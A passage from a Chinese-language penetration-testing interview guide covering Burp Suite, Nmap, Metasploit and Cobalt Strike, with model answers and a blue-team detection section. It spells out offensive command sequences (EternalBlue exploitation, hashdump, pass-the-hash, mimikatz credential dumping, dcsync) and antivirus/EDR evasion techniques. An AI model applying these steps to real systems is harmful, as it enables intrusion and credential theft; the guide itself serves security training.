- AuthMatrix / Autorize:用于测试越权漏洞(自动修改 Cookie 测试不同用户权限)。
- Turbo Intruder:用于高速并发请求(如抢券、高速爆破)。
- 解密/加密 :
- Hackvertor:强大的加密解密转换工具(支持各种编码、加密算法)。
- Java 反序列化 :
- Burp-ysoserial:生成反序列化 payload。
自定义脚本(Macros 与 Extensions)
- Macros(宏) :
- 场景:如果目标系统有 CSRF Token,或者 Session 容易过期,如何自动化?
- 做法 :录制一个宏(先获取 Token,再发送请求),并在 Intruder 中配置
Session handling rules,让每次爆破前自动更新 Token。
- Python/Ruby 脚本 :
- 是否会写简单的 Python 脚本作为 BP 的扩展?(例如:自定义一个右键菜单,自动对选中的参数进行 Base64 编码)。
🎯 常见场景题(模拟回答)
场景一:如何爆破一个有验证码的登录框?
- 回答思路 :
- 如果验证码在前端 可识别(如简单的计算题):使用 BP 的
Match and Replace功能,或者写脚本自动计算。 - 如果验证码在URL 中且不变:直接爆破。
- 如果验证码每次刷新都变 :
- 方法 A:使用
Turbo Intruder保持长连接,利用同一个验证码快速爆破。 - 方法 B:配置
Session handling rules,先请求获取验证码的接口,提取验证码,再发送给登录接口。 - 方法 C:如果验证码是图片,尝试使用 OCR 识别插件(较少用,效率低)。
- 方法 D:尝试绕过验证码(如删除验证码参数、验证码回填、弱校验)。
- 方法 A:使用
- 如果验证码在前端 可识别(如简单的计算题):使用 BP 的
场景二:如何测试逻辑漏洞(如修改价格)?
- 回答思路 :
- 使用 Proxy 拦截下单请求。
- 发送到 Repeater。
- 修改
price、quantity、discount等参数(如改为 0.01 或负数)。 - 观察响应包中的状态码、返回信息以及数据库中的实际扣款金额。
场景三:发现一个加密的参数,如何测试?
- 回答思路 :
- 先尝试修改参数值,看响应包是否有变化(判断是否参与校验)。
- 使用
Decoder尝试解码(Base64, Hex, URL)。 - 如果是 AES/RSA 加密,尝试寻找前端 JS 代码中的密钥(公钥/私钥)。
- 如果无法解密,尝试重放旧的有效请求(重放攻击)。
📌 总结:面试准备清单
- 熟练度:确保你能流畅说出 Proxy, Repeater, Intruder, Decoder 的核心用途。
- 模式区分:一定要分清 Intruder 的四种模式(Sniper, Battering ram, Pitchfork, Cluster bomb)。
- 插件经验:至少准备 2-3 个你常用的插件名字和用途(推荐:Logger++, Autorize, Turbo Intruder)。
- 实战结合:不要只说功能,要结合"我在挖 SQL 注入/越权/爆破时是怎么用的"。
Nmap使用方法
Nmap(Network Mapper)是渗透测试中信息收集阶段 最核心的工具。在面试中,面试官通常不会只问"Nmap是什么",而是会考察你对扫描原理 、常用参数 、防火墙绕过 以及脚本引擎的掌握程度。
以下是基于最新面试题库整理的 Nmap 高频面试题及回答思路:
1. 核心扫描类型(原理必问)
面试官常问:"TCP Connect 和 SYN 扫描有什么区别?"这是考察你对 TCP 协议理解的深度。
SYN 扫描(半开放扫描)
- 参数 :
-sS - 原理 :发送 SYN 包 -> 如果目标回复 SYN/ACK,说明端口开放 -> 扫描器立即发送 RST 包断开连接,不完成三次握手。
- 特点 :速度极快,隐蔽性较好(因为不建立完整连接,某些老旧日志可能不记录),但需要 Root/管理员权限。
- 面试金句:"这是 Nmap 的默认扫描方式(如果你是 root),因为它既快又 stealth(隐蔽)。"
TCP Connect 扫描(全连接扫描)
- 参数 :
-sT - 原理 :调用系统的
connect()系统调用,完成完整的 三次握手(SYN -> SYN/ACK -> ACK)。 - 特点:不需要 Root 权限,但速度慢,且容易在目标主机的日志中留下痕迹(因为建立了完整连接)。
- 场景 :当普通用户权限无法使用
-sS时使用。
UDP 扫描
- 参数 :
-sU - 原理:发送 UDP 数据包。如果收到"ICMP 端口不可达"错误,说明端口关闭;如果没有响应(或收到特定 UDP 响应),说明端口可能开放。
- 难点:UDP 是无连接的,扫描非常慢,且容易被防火墙丢弃。
- 技巧 :通常配合
-sV使用,且建议只扫描常用端口(如 53, 161, 500)。
2. 常用参数与实战命令(高频考点)
面试官可能会问:"你平时最常用的 Nmap 命令是什么?"或者"如何探测服务版本和操作系统?"
表格
| 参数 | 功能 | 面试回答要点 |
|---|---|---|
-sV |
版本探测 | 尝试识别服务的具体版本号(如 Apache 2.4.49),这对寻找 CVE 漏洞至关重要。 |
-O |
操作系统探测 | 通过 TCP/IP 指纹识别 OS(如 Linux, Windows)。需要 Root 权限。 |
-A |
综合扫描 | 必背参数 。开启 OS 检测、版本检测、脚本扫描和路由追踪。相当于 -sV -O -sC --traceroute。 |
-p- |
全端口扫描 | 扫描 1-65535 所有端口。默认只扫前 1000 个常用端口。 |
-sC |
默认脚本 | 使用默认脚本库进行扫描(如检测 SMB 漏洞、HTTP 标题等)。 |
-Pn |
跳过 Ping | 绕过禁 Ping。当目标禁用了 ICMP 回显时,强制扫描端口,防止误判主机宕机。 |
-T4 |
时间模板 | 设置扫描速度。T0 最慢(隐蔽),T4 较快(推荐),T5 最快(易触发告警)。 |
推荐回答的"万能命令":
"在授权测试中,我通常会先用
nmap -sS -sV -O -A -T4 <目标IP>进行全面的信息收集,如果目标开启了防火墙,我会加上-Pn。"
3. Nmap 脚本引擎(加分项)
这是区分初级和中高级测试人员的关键。面试官会问:"你用过 Nmap 的脚本吗?"
- 什么是 NSE:Nmap Scripting Engine,允许用户使用 Lua 语言编写脚本,用于自动化检测漏洞、爆破密码等。
- 常用脚本类别 :
- 漏洞检测 :
--script=vuln(检测常见漏洞,如永恒之蓝 MS17-010)。 - SMB 相关 :
--script=smb-enum-shares(枚举共享),smb-security-mode。 - HTTP 相关 :
http-title(获取网页标题),http-methods(探测危险 HTTP 方法如 PUT/DELETE)。 - 暴力破解 :
--script=brute(配合用户名密码字典爆破 FTP/SSH 等)。
- 漏洞检测 :
4. 防火墙绕过与隐蔽扫描
面试官可能会问:"如果 Nmap 扫描被防火墙拦截了,你怎么办?"
- 分片扫描 :使用
-f参数,将 IP 包头分片,绕过简单的包过滤防火墙。 - 诱饵扫描 :使用
-D RND:10,伪造 10 个随机 IP 作为诱饵,混淆真实扫描源 IP。 - 源端口指定 :使用
--source-port 53或80。有些防火墙会无条件放行 DNS 或 HTTP 端口的流量。 - 修改包时间 :使用
--scan-delay降低发送速度,避免触发 IDS/IPS 的阈值。
5. 输出与结果分析
- 输出格式 :
-oN:普通文本格式(人读)。-oX:XML 格式(工具导入,如导入到 Metasploit)。-oG:Grepable 格式(方便用grep命令快速过滤,如grep "open")。
- 状态解读 :
- Open:端口开放,有应用监听。
- Closed:端口关闭,有响应(RST)。
- Filtered:被过滤(防火墙丢弃包),无法确定开放与否。
- Unfiltered:未被过滤,但状态未知。
💡 面试回答范例(逻辑闭环)
"Nmap 是我进行信息收集的首选工具。
在常规扫描 时,我习惯使用
-sS -sV -A来获取端口、服务版本和操作系统信息。如果是内网环境,我会加上--min-rate提高扫描速度。如果遇到防火墙 ,我会尝试
-Pn跳过主机发现,或者使用-f进行分片扫描。对于特定服务 ,我会利用 NSE 脚本引擎,比如用
--script=vuln快速检测是否存在已知漏洞(如 SMB 漏洞),或者用http-enum扫描 Web 目录。最后,我会将结果导出为 XML 格式,以便后续导入到 Metasploit 中进行进一步的漏洞利用。"
Metasploit使用方法
Metasploit Framework (MSF) 是渗透测试中漏洞利用 阶段的核心框架。在面试中,面试官考察的重点通常不在于你会背多少命令,而在于你是否理解其模块化架构 、攻击流程 以及后渗透能力。
以下是结合最新面试题库整理的 Metasploit 高频面试题及回答思路:
1. 核心架构与模块(基础必问)
面试官常问:"Metasploit 有哪些核心模块?它们的作用是什么?"
| 模块类型 | 英文标识 | 作用与解释 | 面试关键词 |
|---|---|---|---|
| 漏洞利用 | Exploit | 利用目标系统漏洞的代码。 | "这是攻击的核心,比如 exploit/windows/smb/ms17_010_eternalblue。" |
| 载荷 | Payload | 漏洞利用成功后在目标机上执行的代码。 | "分为单向 (独立执行)和交互式(如 Meterpreter)。" |
| 辅助 | Auxiliary | 用于扫描、嗅探、指纹识别、Fuzzing 等非攻击性操作。 | "比如端口扫描、SMB 版本探测、FTP 匿名登录检查。" |
| 后渗透 | Post | 攻击成功后,用于提权、持久化、收集信息的模块。 | "比如 hashdump 导出密码,migrate 进程迁移。" |
| 编码器 | Encoder | 对 Payload 进行编码以绕过杀毒软件或 WAF。 | "如 shikata_ga_nai(虽然老了但很经典)。" |
2. 载荷类型(核心考点)
面试官会问:"什么是 Meterpreter?什么是反向 Shell 和正向 Shell?"
Meterpreter(元数据解释器)
- 定义 :MSF 独有的、高级的、内存驻留的 Payload。
- 特点 :
- 无文件落地:完全在内存中运行,不接触硬盘,难以被传统杀毒软件发现。
- 功能强大:内置了文件上传/下载、截屏、键盘记录、哈希导出、提权等丰富功能。
- 通信加密:流量默认加密,难以被流量分析发现。
反向 Shell vs 正向 Shell
- 反向 Shell :
- 原理:目标主机主动连接攻击者的监听端口。
- 场景:目标在内网或有防火墙限制入站流量时使用(最常用)。
- 命令 :
set LHOST <攻击者IP>,set LPORT <监听端口>。
- 正向 Shell :
- 原理:攻击者连接目标主机开放的端口。
- 场景:目标有公网 IP 且防火墙允许入站连接(较少见,容易被防火墙拦截)。
3. 实战操作流程(必背)
面试官可能会让你口述一次完整的攻击流程。
- 启动 :
msfconsole - 搜索 :
search ms17-010(或search type:exploit name:smb) - 选择模块 :
use exploit/windows/smb/ms17_010_eternalblue - 配置选项 :
show options(查看所需参数)set RHOSTS <目标IP>(目标地址)set LHOST <攻击者IP>(反弹地址)set LPORT 4444(监听端口)
- 执行 :
exploit或run - 后渗透 :获取 Session 后,输入
sessions -i 1进入交互界面,执行sysinfo、getuid、hashdump等命令。
4. 进阶功能与技巧(加分项)
进程迁移
- 问题:如果利用漏洞的进程(如 Word 或 Explorer)崩溃或关闭,Shell 就会断开。
- 解决 :使用
migrate <PID>将 Meterpreter 会话迁移到系统关键进程(如svchost.exe或spoolsv.exe)中,保持连接稳定。
权限提升
- 命令 :
getsystem - 原理:利用令牌操作或内核漏洞尝试从普通用户提升到 SYSTEM/Root 权限。
哈希传递攻击
- 场景:在内网渗透中,获取了管理员的 NTLM 哈希值,但不需要破解明文密码。
- 操作 :使用
exploit/windows/smb/psexec模块,将SMBPass设置为获取到的哈希值,直接登录其他主机。
端口转发与隧道
- 命令 :
portfwd add -l <本地端口> -p <目标端口> -r <目标内网IP> - 作用:将内网目标的端口映射到攻击者本地,方便访问内网资源(如数据库、RDP)。
5. 防御与免杀(高阶思维)
面试官可能会问:"如果 MSF 生成的木马被杀毒软件查杀了,怎么办?"
- 编码 :使用
msfvenom配合-e参数(如shikata_ga_nai)进行多次迭代编码。 - 格式转换 :生成 PowerShell 脚本 (
-f powershell) 或 Python 脚本,在内存中执行。 - 自定义 Loader:使用 C# 或 C++ 编写加载器,调用 Windows API 在内存中解密并执行 Shellcode。
- 修改特征码:手动修改 Payload 的十六进制特征,或使用工具(如 Veil)生成免杀包。
💡 面试回答范例(逻辑闭环)
"Metasploit 是我进行漏洞利用 和后渗透的主要框架。
在利用阶段 ,我通常先使用
Auxiliary模块进行服务版本扫描和漏洞探测,确认漏洞后选择合适的Exploit。对于 Payload,我首选 Meterpreter,因为它完全在内存中运行且功能强大。如果目标在内网,我会配置 反向 Shell 让目标主动连接我的监听器。获取权限后,我会立即使用
migrate迁移进程以确保持久化,并使用getsystem尝试提权。在内网横向移动时,我会利用 MSF 的 哈希传递 功能或 端口转发 来访问受限资源。如果遇到杀毒软件拦截,我会尝试使用
msfvenom生成编码后的 Payload 或使用自定义的 Loader 进行免杀。"
Cobalt Strike使用方法
Cobalt Strike (CS) 是红队行动和中高级渗透测试面试中的绝对核心 。与 MSF 不同,CS 更强调团队协同 、隐蔽通信 和内网后渗透。
面试官考察 CS 时,重点通常在于:上线方式(Beacon原理)、免杀绕过(Bypass)、内网横向移动 以及流量特征分析。
以下是结合最新面试题库整理的 Cobalt Strike 高频面试题及回答思路:
1. 核心架构与原理(基础必问)
面试官常问:"Cobalt Strike 的架构是怎样的?Beacon 是如何上线的?"
核心组件
- Team Server (服务端):部署在 Linux 服务器上,负责监听端口、管理会话、存储数据。它是整个攻击的"指挥部"。
- Client (客户端):部署在攻击者的 Windows/Mac 上,是图形化操作界面。它连接 Team Server 下发指令,不直接监听端口。
- Beacon (信标):植入目标主机的木马(Payload)。它负责执行命令并回传数据。
Beacon 上线原理(心跳机制)
- 流程 :
- 攻击者在 Team Server 设置监听器(Listener)。
- 生成 Payload(如 EXE、DLL、宏代码)并投递给目标。
- 目标执行 Payload 后,Beacon 会根据配置文件中的 C2 地址,定时(默认 60 秒)向 Team Server 发送 HTTP/HTTPS/DNS 请求(心跳包)。
- Team Server 收到请求,识别为新会话,并在界面上显示上线。
- 关键点 :Beacon 是主动外联(反弹连接),而不是 Team Server 主动去连目标。
2. 上线方式与通信协议(核心考点)
面试官会问:"CS 支持哪些上线方式?它们的区别是什么?"
| 协议类型 | 原理与特点 | 适用场景 | 面试回答要点 |
|---|---|---|---|
| HTTP/HTTPS | 最常用的方式。Beacon 通过 HTTP GET/POST 请求与 C2 通信。 | 目标机器有外网权限。 | "HTTPS 可以加密流量,配合 Domain Fronting(域前置)可隐藏真实 C2 地址。" |
| DNS | 利用 DNS 查询(A/TXT 记录)传递指令。 | 目标机器防火墙严格,只允许 DNS 出站。 | "速度较慢,但穿透力极强,常用于受限网络环境。" |
| SMB | 利用命名管道(Named Pipes)通信。 | 内网横向移动。 | "SMB Beacon 不直接连外网,而是通过内网的一台已控主机(跳板)转发流量。" |
| TCP | 直接建立 TCP 长连接。 | 内网环境或特定场景。 | "相比 HTTP,流量特征更明显,较少用于外网 C2。" |
3. 免杀与绕过(实战高频)
面试官会问:"CS 生成的木马被杀毒软件秒删怎么办?如何绕过监控?"
静态免杀(对抗杀毒软件)
- 修改签名:CS 默认的 Payload 特征明显,需修改源码重新编译。
- 加载器(Loader) :不直接运行 Beacon,而是使用 C/C++/C# 编写加载器,调用 Windows API(如
VirtualAlloc,CreateThread)在内存中解密并执行 Shellcode。 - 白加黑(DLL 侧加载):利用合法的签名程序加载恶意的 DLL。
动态/行为绕过(对抗 EDR/流量分析)
- Malleable C2 (灵活 C2) :
- 原理:通过配置文件(.profile)修改 Beacon 的流量特征。
- 作用:将 CS 流量伪装成正常的网站流量(如伪装成访问 Amazon 或 jQuery 的流量),绕过流量审计。
- 睡眠混淆(Jitter):设置 Beacon 的睡眠时间抖动(如 60 秒 ± 20%),使心跳包时间不固定,难以被行为分析发现。
- 进程注入 :将 Beacon 注入到
explorer.exe或svchost.exe等白名单进程中运行,隐藏恶意进程。 - 不落地攻击:利用 PowerShell 或反射式 DLL 加载,Shellcode 只在内存中运行,不写入磁盘。
4. 内网渗透与横向移动(进阶)
面试官会问:"拿到一台主机权限后,如何用 CS 进行内网横向移动?"
- SMB Beacon 跳板 :
- 在已控主机上开启 SMB Beacon,通过
link <IP> <端口>命令连接内网其他主机,实现流量转发。
- 在已控主机上开启 SMB Beacon,通过
- 凭证窃取 :
- 使用
mimikatz模块(kerberos::list,sekurlsa::logonpasswords)抓取明文密码或哈希。 - 使用
run keylogger记录管理员键盘输入。
- 使用
- 横向利用 :
- PsExec:利用管理员凭证在远程主机执行命令。
- WMI:无文件落地执行命令。
- RDP 劫持 :使用
run rdp <IP>劫持当前登录用户的远程桌面会话。
- 域渗透 :
- 利用 CS 的
run dcsync导出域控哈希。 - 进行黄金票据/白银票据攻击。
- 利用 CS 的
5. 蓝队视角:如何检测 Cobalt Strike?(高阶加分)
面试官可能会问:"如果你是蓝队,如何发现 CS 的存在?"(考察你对 CS 特征的理解)
- 流量特征 :
- 虽然 Malleable C2 可以伪装,但早期的 CS 版本或默认配置有特定的 HTTP 头(如
User-Agent)或固定的 URI 路径。 - 心跳包的时间规律性(虽然有 Jitter,但统计学上仍有规律)。
- 虽然 Malleable C2 可以伪装,但早期的 CS 版本或默认配置有特定的 HTTP 头(如
- 内存特征 :
- CS Beacon 在内存中通常有特定的字符串特征(如
Unlink操作后的内存块)。 - 使用工具(如
Volatility)分析内存转储,查找注入的恶意代码段。
- CS Beacon 在内存中通常有特定的字符串特征(如
- 文件特征 :
- 检查启动项、计划任务、服务中是否存在异常条目。
- 检查
AppData或Temp目录下是否有可疑的可执行文件或 DLL。
💡 面试回答范例(逻辑闭环)
"Cobalt Strike 是我在红队行动中进行后渗透 和内网横向移动的首选工具。
在上线阶段 ,我通常使用 HTTPS Beacon 配合 Malleable C2 配置文件,将流量伪装成正常的 HTTPS 业务流量,以绕过防火墙和流量审计。如果目标网络受限,我会尝试 DNS Beacon。
为了绕过杀毒软件 ,我不会直接使用 CS 生成的默认 EXE,而是会编写 C++ 或 C# 加载器(Loader) ,通过反射加载 Shellcode,或者利用 白加黑 技术。
在内网渗透 中,我会利用 SMB Beacon 进行流量转发,配合
mimikatz抓取凭证,并通过 PsExec 或 WMI 进行横向移动。同时,我也了解蓝队的检测手段,比如通过分析内存中的 Unlink 特征或网络流量的心跳规律来发现 Beacon,因此在实战中我会注意设置 Jitter 和进行进程注入以隐藏踪迹。"